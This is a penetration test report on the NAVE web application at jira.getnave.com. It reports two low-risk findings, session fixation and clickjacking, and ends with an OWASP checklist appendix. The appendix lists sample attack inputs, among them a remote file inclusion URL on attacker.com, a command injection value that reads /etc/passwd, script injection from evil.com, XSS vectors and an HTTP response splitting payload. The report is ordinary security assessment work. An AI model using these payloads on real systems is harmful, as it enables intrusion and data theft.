Website Penetration Report

https://jira.getnave.com

Tuesday, November 22, 2022

Prepared by Florjan Llapi

Certified Ethical Hacker

Contents

Disclaimer

This report is strictly confidential and intended for internal, confidential use by the client. The recipient is obligated to ensure the highly confidential contents are kept secret. The recipient assumes responsibility for the further distribution of this document.

The security investigation was carried out to the best of our knowledge and with great care. The number of vulnerabilities found always depends on the time available for the search. The upper limit for complete coverage is in a theoretical range that is usually no longer economically appropriate from a risk perspective.

Introduction

The aim of this web penetration test is to help the technical personnel of the company to make the website more secure. Although this report contains technical terms, a non-technical explanation of the content – which can be found in the appendices – is given along with the test report, for the technical personnel and security consultant to review. This also makes it possible for them to reproduce the tests. Should the reader find it difficult to understand the penetration test report, go directly to the "Recommendations and Conclusions" section. This section contains executive information. For future help, we continue to be available to answer any of your questions.

Scope and approach

A security review was conducted (web application penetration test) of the NAVE web application.

- gain unauthorized access to the application, systems, individual functions or critical platform components,
- read or falsify data without authorization,
- impair the availability of the application, systems, or data,
- bring the application or systems into an undefined state.

To do so, we have tested the application for the following issues (OWASP top 10 aligned):

- Poor authentication and session management
- Security-related misconfiguration
- Cross-site scripting (XSS)
- SQL injection
- XML injection
- Cross-site request forgery (XSRF)
- Insecure direct object references
- Cryptographically insecure storage
- Poor URL access protection
- Inadequate error handling
- Insecure communication
- Inadequate transport layer protection
- Inadequate separation of functions/data
- Unchecked redirections and forwarding
- Inadequate application installation (backup and test data, unneeded modules and scripts)

The web penetration test was conducted as a “Grey-Box”, implying that the security tested was given prior information about the target applications sample.

This was done to simulate as closely as possible the viewpoint of a completely external hacker. We tried to penetrate the website, specifically focusing on transactions and events happening in the application's front-end and back-end. We conducted the tests against industry best practices like the Open Web Application Security Project (OWASP) and the tests were generated and executed based on our vast experience in the field of Web Application Security. This approach can be summarized as follows:

- Perform broad scans on source gained during “man in the middle” captures to identify discouraged coding practices and points that would increase compilation and program execution overhead.
- Perform targeted code injection at identified break points in code to simulate an attack.
- Identify hard-coded cryptographic hashes, usernames and passwords that would be an easy give-away to an attacker to obtain internal information.
- Obtain database connection configurations, informative data such as hard-coded IP addresses and port numbers.
- Obtain developer comments that could give out too much information concerning the source code and algorithms to an attacker.
- Provide threat ranking of the identified risks based on their level of criticality (i.e. low, medium and high).
- Supply recommendations to enhance security.

Tools

Manual testing activities	***Checking all application vulnerabilities by hand***
Commercial accunetix, Netsparker, Vega	Used to find different vulnerabilities on the website
Burpsuite Proxy	Used to sniffer the parameters of application and URL
SQLmap	Used to detect and exploit SQL injection flaws
Data Tampering and replay plug-ins	Used to replay transactions by modifying parameters (elements).
NMAP	Infrastructure enumeration
Manual testing	Checking all vulnerabilities of server by hand

Risk Classification

HIGH	The high-risk level indicates maximum risk associated with a specific vulnerability instance. Such vulnerability may enable an attacker to successfully exploit the underlying application and its data to modify application behavior to become other than it is, and is recommended to be handled with utmost priority.
MEDIUM	The medium risk level indicates considerable risk associated with a specific vulnerability instance. Such vulnerability may enable an attacker to exploit the underlying application and its data to a particular level so that the hacker can gain low-level information about the application. Such information can be used by a hacker to craft more specific attacks based on the information collected. The vulnerability marked with “Medium” should be mitigated at the earliest or soon after “High” risk vulnerabilities are mitigated.
LOW	The low-risk level indicates lowest risk associated with a specific vulnerability instance. Such vulnerability may enable an attacker to gain important information to the underlying application and its data to an informative level. Such vulnerability should be mitigated soon after the high and medium risk vulnerabilities are mitigated

HIGH	MEDIUM	LOW
0	**0**	**2**

Executive Summary

Based on the executive summary table, the findings only have low-level risk. As such, it seems that the application is safe and does not contain any security holes like cross-site scripting and authorization bypass that would have a high business impact (such as a data breach of server, or account hacking). The test also included a price replay purchase, where attempts were made to modify the price number (for example, changing the number 2 to 200), but were not possible. There was no possibility to see other companies, access user information, or any other data. Low-level risk findings don’t represent a real risk and as such, they can be skipped.

Document control and details on scope

Tech contact / report prepared by	Florjan Llapi
Release date	22.11.2022
Target domain name(s)	https://jira.getnave.com
Document classification	Confidential

1. Session Management Testing

1.1 OTG-SESS-003 -Testing for Session Fixation

Description of vulnerability

When an application does not renew its session cookie(s) after successful user authentication, it may be possible to find a session fixation vulnerability and force a user to utilize a cookie known by the attacker. In that case, an attacker could steal the user session (session hijacking).

Session fixation vulnerabilities occur when:

- A web application authenticates a user without first invalidating the existing session ID, thereby continuing to use the session ID already associated with the user.
- An attacker can force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session.

In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to authenticate against the server using the same session identifier, giving the attacker access to the user's account through the active session.

Business impact

It is possible to perform hijacking of an authenticated user’s session as the application does not suffer from cross-site scripting (XSS) this is not dangerous as a finding. Only the combination of those leads to account hacking.

Risk: LOW

Recommendation

It is recommended to make the expiration date very short or to make it a session-based expiration where possible because most of them concern the online chat support system. As the application does not suffer from XSS, this issue is classified as “LOW”.

2. Client-Side Testing

2.1 OTG-CLIENT-009- Testing for Clickjacking

Description of vulnerability

“Clickjacking” (which is a subset of “UI redressing”) is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different than what the user believes they are interacting with. This type of attack, which can be used alone or in combination with other attacks, can potentially send unauthorized commands or reveal confidential information while the victim is interacting with seemingly harmless web pages.

A clickjacking attack uses seemingly innocuous features of HTML and JavaScript to force the victim to perform undesired actions, such as clicking a button that appears to perform another operation. This is a “client-side” security issue that affects a variety of browsers and platforms. In our case, we did it by simulating with Burp Suite.

Business impact

Hackers can manipulate genuine users to click on an unwanted URL resulting in unwanted results.

Risk: LOW

Recommendation

The application functions that are accessible from within the response should be reviewed, to determine whether they can be misapplied by application users to perform any sensitive actions within the application. If so, then a framing attack targeting this response may result in unauthorized actions. To effectively prevent framing attacks, the application should return a response header with the name XFrame-Options and the value DENY (to prevent framing altogether). You should also insert nosniff and Strict-Transport-Security protective functions, too.

Appendix

OWASP Checklist and results

Information Gathering	Test Name	Description	Tools	Result
OTG-INFO-001	Conduct Search Engine Discovery and Reconnaissance for Information Leakage	*Use a search engine to search for Network diagrams and Configurations, Credentials, Error message content.*	*Google Hacking, Sitedigger, Shodan, FOCA, Punkspider*	Pass
OTG-INFO-002	Fingerprint Web Server	*Find the version and type of a running web server to determine known vulnerabilities and the appropriate exploits. Using "HTTP header field ordering" and "Malformed requests test".*	*Httprint, Httprecon, Desenmascarame*	Pass
OTG-INFO-003	Review Webserver Metafiles for Information Leakage	*Analyze robots.txt and identify <META> Tags from website.*	*Browser, curl, wget*	Pass
OTG-INFO-004	Enumerate Applications on Webserver	*Find applications hosted in the webserver (Virtual hosts/Subdomain), non-standard ports, DNS zone transfers*	*Webhosting.info, dnsrecon, Nmap, fierce, Recon-ng, Intrigue*	Pass
OTG-INFO-005	Review Webpage Comments and Metadata for Information Leakage	*Find sensitive information from webpage comments and Metadata on source code.*	*Browser, curl, wget*	Pass
OTG-INFO-006	Identify application entry points	*Identify from hidden fields, parameters, methods HTTP header analysis*	*Burp proxy, ZAP, Tamper data*	Pass
OTG-INFO-007	Map execution paths through application	*Map the target application and understand the principal workflows.*	*Burp proxy, ZAP*	Pass
OTG-INFO-008	Fingerprint Web Application Framework	*Find the type of web application framework/CMS from HTTP headers, Cookies, Source code, Specific files and folders.*	*Whatweb, BlindElephant, Wappalyzer*	Pass
OTG-INFO-009	Fingerprint Web Application	*Identify the web application and version to determine known vulnerabilities and the appropriate exploits.*	*Whatweb, BlindElephant, Wappalyzer, CMSmap*	Pass
OTG-INFO-010	Map Application Architecture	*Identify application architecture including Web language, WAF, Reverse proxy, Application Server, Backend Database*	*Browser, curl, wget*	Pass

Configuration and Deploy Management Testing	Test Name	Description	Tools	Result
OTG-CONFIG-001	Test Network/Infrastructure Configuration	*Understand the infrastructure elements interactions, config management for software, backend DB server, WebDAV, FTP in order to identify known vulnerabilities.*	*Nessus*	Pass
OTG-CONFIG-002	Test Application Platform Configuration	*Identify default installation file/directory, Handle Server errors (40*,50*), Minimal Privilege, Software logging.*	*Browser, Nikto*	Pass
OTG-CONFIG-003	Test File Extensions Handling for Sensitive Information	*, Find important file, information (.asa , .inc , .sq,zip)tar, pdf, txt, etc*	*Browser, Nikto*	Pass
OTG-CONFIG-004	Backup and Unreferenced Files for Sensitive Information	*Check JS source code, comments, cache file, backup file (.old, .bak, .inc, .src) and guessing of filename*	*Nessus, Nikto, Wikto*	Pass
OTG-CONFIG-005	Enumerate Infrastructure and Application Admin Interfaces	*Directory and file enumeration, comments and links in source (/admin, /administrator, /backoffice, /backend, etc), alternative server port (Tomcat/8080)*	*Burp Proxy, dirb, Dirbuster, fuzzdb, Tilde Scanner*	Pass
OTG-CONFIG-006	Test HTTP Methods	*Identify HTTP allowed methods on Web server with OPTIONS. Arbitrary HTTP Methods, HEAD access control bypass and XST*	*netcat, curl*	Pass
OTG-CONFIG-007	Test HTTP Strict Transport Security	*Identify HSTS header on Web server through HTTP response header. curl -s -D- https://domain.com/ | grep Strict*	*Burp Proxy, ZAP, curl*	Pass
OTG-CONFIG-008	Test RIA cross domain policy	*Analyse the permissions allowed from the policy files (crossdomain.xml/clientaccesspolicy.xml) and allow-access-from.*	*Burp Proxy, ZAP, Nikto*	Pass

Identity Management Testing	Test Name	Description	Tools	Result
OTG-IDENT-001	Test Role Definitions	*Validate the system roles defined within the application by creating permission matrix.*	*Burp Proxy, ZAP*	Pass
OTG-IDENT-002	Test User Registration Process	*Verify that the identity requirements for user registration are aligned*	*Burp Proxy, ZAP*	Pass
OTG-IDENT-003	Test Account Provisioning Process	*Determine which roles are able to provision users and what sort of*	*Burp Proxy, ZAP*	Pass
OTG-IDENT-004	Testing for Account Enumeration and Guessable User Account	*Generic login error statement check, return codes/parameter values, enumerate all possible valid userids (Login system, Forgot password)*	*Browser, Burp Proxy, ZAP*	Pass
OTG-IDENT-005	Testing for Weak or unenforced username policy	*User account names are often highly structured (e.g. Joe Bloggs account name is jbloggs and Fred Nurks account name is fnurks) and valid account names can easily be guessed.*	*Browser, Burp Proxy, ZAP*	Pass
OTG-IDENT-006	Test Permissions of Guest/Training Accounts	*Guest and Training accounts are useful ways to acquaint potential users with system functionality prior to them completing the authorisation process required for access.Evaluate consistency between access policy and guest/training account access permissions.*	*Burp Proxy, ZAP*	N/A
OTG-IDENT-007	Test Account Suspension/Resumption Process	*Verify the identity requirements for user registration align with business/security requirements. Validate the registration process.*	*Burp Proxy, ZAP*	N/A

Authentication Testing	Test Name	Description	Tools	Result
OTG-AUTHN-001	Testing for Credentials Transported over an Encrypted Channel	*Check referrer whether its HTTP or HTTPs. Sending data through HTTP and HTTPS.*	*Burp Proxy, ZAP*	Pass
OTG-AUTHN-002	Testing for default credentials	*Testing for default credentials of common applications, Testing for default password of new accounts.*	*Burp Proxy, ZAP, Hydra*	Pass
OTG-AUTHN-003	Testing for Weak lock out mechanism	*Evaluate the account lockout mechanism's ability to mitigate brute force password guessing. Evaluate the unlock mechanism's resistance to unauthorized account unlocking.*	*Browser*	Pass
OTG-AUTHN-004	Testing for bypassing authentication schema	*Force browsing (/admin/main.php, /page.asp?authenticated=yes), Parameter Modification, Session ID prediction, SQL Injection*	*Burp Proxy, ZAP*	Pass
OTG-AUTHN-005	Test remember password functionality	*Look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in clear text, but are hashed. Autocompleted=off?*	*Burp Proxy, ZAP*	Pass
OTG-AUTHN-006	Testing for Browser cache weakness	*Check browser history issue by clicking "Back" button after logging out. Check browser cache issue from HTTP response headers (Cache-Control: no-cache)*	*Burp Proxy, ZAP, Firefox add-on CacheViewer2*	Pass
OTG-AUTHN-007	Testing for Weak password policy	*Determine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.*	*Burp Proxy, ZAP, Hydra*	Pass
OTG-AUTHN-008	Testing for Weak security question/answer	*Testing for weak pre-generated questions, Testing for weak self-generated question, Testing for brute-forcible answers (Unlimited attempts?)*	*Browser*	Pass
OTG-AUTHN-009	Testing for weak password change or reset functionalities	*Test password reset (Display old password in plain-text?, Send via email?, Random token on confirmation email ?), Test password change (Need old password?), CSRF vulnerability ?*	*Browser, Burp Proxy, ZAP*	Pass
OTG-AUTHN-010	Testing for Weaker authentication in alternative channel	*Understand the primary mechanism and Identify other channels (Mobile App, Call center, SSO)*	*Browser*	Pass

Authorization Testing	Test Name	Description	Tools	Result
OTG-AUTHZ-001	Testing Directory traversal/file include	*dot-dot-slash attack (../), Directory traversal, Local File inclusion/Remote File Inclusion.*	*Burp Proxy, ZAP, Wfuzz*	Pass
OTG-AUTHZ-002	Testing for bypassing authorization schema	*Access a resource without authentication?, Bypass ACL, Force browsing (/admin/adduser.jsp)*	*Burp Proxy (Autorize), ZAP*	Pass
OTG-AUTHZ-003	Testing for Privilege Escalation	*Testing for role/privilege manipulate the values of hidden variables. Change some param groupid=2 to groupid=1*	*Burp Proxy (Autorize), ZAP*	Pass
OTG-AUTHZ-004	Testing for Insecure Direct Object References	*Force changing parameter value (?invoice=123 -> ?invoice=456)*	*Burp Proxy (Autorize), ZAP*	Pass

Session Management Testing	Test Name	Description	Tools	Result
OTG-SESS-001	Testing for Bypassing Session Management Schema	*SessionID analysis prediction, unencrypted cookie transport, brute-force.*	*Burp Proxy, ForceSSL, ZAP, CookieDigger*	Pass
OTG-SESS-002	Testing for Cookies attributes	*Check HTTPOnly and Secure flag, expiration, inspect for sensitive data.*	*Burp Proxy, ZAP*	Pass
OTG-SESS-003	Testing for Session Fixation	*The application doesn't renew the cookie after a successfully user authentication.*	*Burp Proxy, ZAP*	Issue
OTG-SESS-004	Testing for Exposed Session Variables	*Encryption & Reuse of session Tokens vulnerabilities, Send sessionID with GET method ?*	*Burp Proxy, ZAP*	Pass
OTG-SESS-005	Testing for Cross Site Request Forgery	*URL analysis, Direct access to functions without any token.*	*Burp Proxy (csrf_token_detect), burpy, ZAP*	Pass
OTG-SESS-006	Testing for logout functionality	*Check reuse session after logout both server-side and SSO.*	*Burp Proxy, ZAP*	Pass
OTG-SESS-007	Test Session Timeout	*Check session timeout, after the timeout has passed, all session tokens should be destroyed or be unusable.*	*Burp Proxy, ZAP*	Pass
OTG-SESS-008	Testing for Session puzzling	*The application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.*	*Burp Proxy, ZAP*	Pass

Data Validation Testing	Test Name	Description	Tools	Result
OTG-INPVAL-001	Testing for Reflected Cross Site Scripting	*Check for input validation, Replace the vector used to identify XSS, XSS with HTTP Parameter Pollution.*	*Burp Proxy, ZAP,*	Pass
OTG-INPVAL-002	Testing for Stored Cross Site Scripting	*Check input forms/Upload forms and analyze HTML codes, Leverage XSS with BeEF*	*Burp Proxy, ZAP*	Pass
OTG-INPVAL-003	Testing for HTTP Verb Tampering	*Craft custom HTTP requests to test the other methods to bypass URL authentication and authorization.*	*netcat*	Pass
OTG-INPVAL-004	Testing for HTTP Parameter pollution	*Identify any form or action that allows user-supplied input to bypass input validation and filters using HPP*	*Burp Proxy, ZAP,*	Pass
OTG-INPVAL-005	Testing for SQL Injection	*Union, Boolean, Error based, Out-of-band, Time delay.*	*Burp Proxy (SQLipy), Seclists (FuzzDB)*	Pass
OTG-INPVAL-010	Testing for XPath Injection	*Check for XML error enumeration by supplying a single quote (')* *Username: ' or '1' = '1* *Password: ' or '1' = '1*	*Burp Proxy, ZAP*	Pass
OTG-INPVAL-011	IMAP/SMTP Injection	*• Identifying vulnerable parameters with special characters (i.e.: \, ', ", @, #, !, |)* *• Understanding the data flow and deployment structure of the client* *• IMAP/SMTP command injection (Header, Body, Footer)*	*Burp Proxy, ZAP*	N/A
OTG-INPVAL-012	Testing for Code Injection	*Enter OS commands in the input field.* *?arg=1; system('id')*	*Burp Proxy, ZAP, Liffy, Panoptic*	Pass
	Testing for Local File Inclusion	*LFI with dot-dot-slash (../../), PHP Wrapper (php://filter/convert.base64-encode/resource)*	*Burp Proxy, fimap, Liffy*	Pass
	Testing for Remote File Inclusion	*RFI from malicious URL* *?page.php?file=http://attacker.com/malicious_page*	*Burp Proxy, fimap, Liffy*	Pass
OTG-INPVAL-013	Testing for Command Injection	*Understand the application platform, OS, folder structure, relative path and execute OS commands on a Web server.* *%3Bcat%20/etc/passwd* *test.pdf+|+Dir C:*	*Burp Proxy, ZAP, Commix*	Pass
OTG-INPVAL-015	Testing for incubated vulnerabilities	*File Upload, Stored XSS , SQL/XPATH Injection, Misconfigured servers (Tomcat, Plesk, Cpanel)*	*Burp Proxy, BeEF, MSF*	Pass
OTG-INPVAL-016	Testing for HTTP Splitting/Smuggling	*param=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%200200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>*	*Burp Proxy, ZAP, netcat*	Pass

Error Handling	Test Name	Description	Tools	Result
OTG-ERR-001	Analysis of Error Codes	*Locate error codes generated from applications or web servers. Collect sensitive information from that errors (Web Server, Application Server, Database)*	*Burp Proxy, ZAP*	Pass
OTG-ERR-002	Analysis of Stack Traces	*• Invalid Input / Empty inputs* *• Input that contains non alphanumeric characters or query syn* *tax* *• Access to internal pages without authentication* *• Bypassing application flow*	*Burp Proxy, ZAP*	Pass

Cryptography	Test Name	Description	Tools	Result
OTG-CRYPST-001	Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection	*Identify SSL service, Idectify weak ciphers/protocols (ie. RC4, BEAST, CRIME, POODLE)*	*testssl.sh, SSL Breacher*	Pass
OTG-CRYPST-002	Testing for Padding Oracle	*Compare the responses in three different states:* *• Cipher text gets decrypted, resulting data is correct.* *• Cipher text gets decrypted, resulting data is garbled and causes* *some exception or error handling in the application logic.* *• Cipher text decryption fails due to padding errors.*	*PadBuster, Poracle, python-paddingoracle, POET*	Pass
OTG-CRYPST-003	Testing for Sensitive information sent via unencrypted channels	*Check sensitive data during the transmission:* *• Information used in authentication (e.g. Credentials, PINs, Session identifiers, Tokens, Cookies...)* *• Information protected by laws, regulations or specific organizational* *policy (e.g. Credit Cards, Customers data)*	*Burp Proxy, ZAP, Curl*	Pass

Business logic Testing	Test Name	Description	Tools	Result
OTG-BUSLOGIC-001	Test Business Logic Data Validation	• Looking for data entry points or hand off points between systems or software. • Once found try to insert logically invalid data into the application/system.	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-002	Test Ability to Forge Requests	• Looking for guessable, predictable or hidden functionality of fields. • Once found try to insert logically valid data into the application/system allowing the user go through the application/system against the normal busineess logic workflow.	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-003	Test Integrity Checks	(components i.e. For example, input fields, databases or logs) that move, store or handle data/information. • For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to insert, update and	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-004	Test for Process Timing	• Looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time. • Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing.	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-005	Test Number of Times a Function Can be Used Limits	• Looking for functions or features in the application or system that should not be executed more that a single time or specified number of times during the business logic workflow. • For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times.	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-006	Testing for the Circumvention of Work Flows	• Looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow. • For each method develop a misuse case and try to circumvent or perform an action that is "not acceptable" per the the business logic workflow.	Burp Proxy, ZAP	Pass

OTG-BUSLOGIC-007	Test Defenses Against Application Mis-use	*Measures that might indicate the application has in-built self-defense:* *• Changed responses* *• Blocked requests* *• Actions that log a user out or lock their account*	*Burp Proxy, ZAP*	Pass
OTG-BUSLOGIC-008	Test Upload of Unexpected File Types	*• Review the project documentation and perform some exploratory testing looking for file types that should be "unsupported" by the application/system.* *• Try to upload these "unsupported" files an verify that it are properly rejected.* *• If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.* *PS. file.phtml, shell.phPWND, SHELL~1.PHP*	*Burp Proxy, ZAP*	Pass
OTG-BUSLOGIC-009	Test Upload of Malicious Files	*• Develop or acquire a known "malicious" file.* *• Try to upload the malicious file to the application/system and verify that it is correctly rejected.* *• If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.*	*Burp Proxy, ZAP*	pass

Client Side Testing	Test Name	Description	Tools	Result
OTG-CLIENT-001	Testing for DOM based Cross Site Scriptin	Test for the user inputs obtained from client-side JavaScript Objects	Burp Proxy, DOMinator	Pass
OTG-CLIENT-002	Testing for JavaScript Execution	Inject JavaScript code: www.victim.com/?javascript:alert(1)	Burp Proxy, ZAP	Pass
OTG-CLIENT-003	Testing for HTML Injection	Send malicious HTML code: ?user=<img%20src='aaa'%20onerror=alert(1)>	Burp Proxy, ZAP	Pass
OTG-CLIENT-004	Testing for Client Side URL Redirect	Modify untrusted URL input to a malicious site: (Open Redirect) ?redirect=www.fake-target.site	Burp Proxy, ZAP	Pass
OTG-CLIENT-005	Testing for CSS Injection	Inject code in the CSS context : ▪ www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12]) ▪ www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)	Burp Proxy, ZAP	Pass
OTG-CLIENT-006	Testing for Client Side Resource Manipulat	External JavaScript could be easily injected in the trusted web site www.victim.com/#http://evil.com/js.js	Burp Proxy, ZAP	Pass
OTG-CLIENT-007	Test Cross Origin Resource Sharing	Check the HTTP headers in order to understand how CORS is used (Origin Header)	Burp Proxy, ZAP	Pass
OTG-CLIENT-008	Testing for Cross Site Flashing	Decompile, Undefined variables, Unsafe methods, Include malicious SWF (http://victim/file.swf?lang=http://evil	FlashBang, Flare, Flasm, SWFScan, SWF Intruder	Pass
OTG-CLIENT-009	Testing for Clickjacking	Discover if a website is vulnerable by loading into an iframe, create simple web page that includes a frame containing the target.	Burp Proxy, ClickjackingTool	Issue
OTG-CLIENT-010	Testing WebSockets	Identify that the application is using WebSockets by inspecting ws:// or wss:// URI scheme.Use Google Chrome's Developer Tools to view the Network WebSocket communication. Check Origin, Confidentiality and Integrity, Authentication, Authorization, Input Sanitization	Burp Proxy, Chrome, ZAP, WebSocket Client	Pass
OTG-CLIENT-011	Test Web Messaging	Analyse JavaScript code looking for how Web Messaging is implemented. How the website is restricting messages from untrusted domain and how the data is handled even for trusted domains	Burp Proxy, ZAP	Pass
OTG-CLIENT-012	Test Local Storage	Determine whether the website is storing sensitive data in the storage. XSS in localstorage http://server/StoragePOC.html#<img src=x onerror=alert(1)>	Chrome, Firebug, Burp Proxy, ZAP	Pass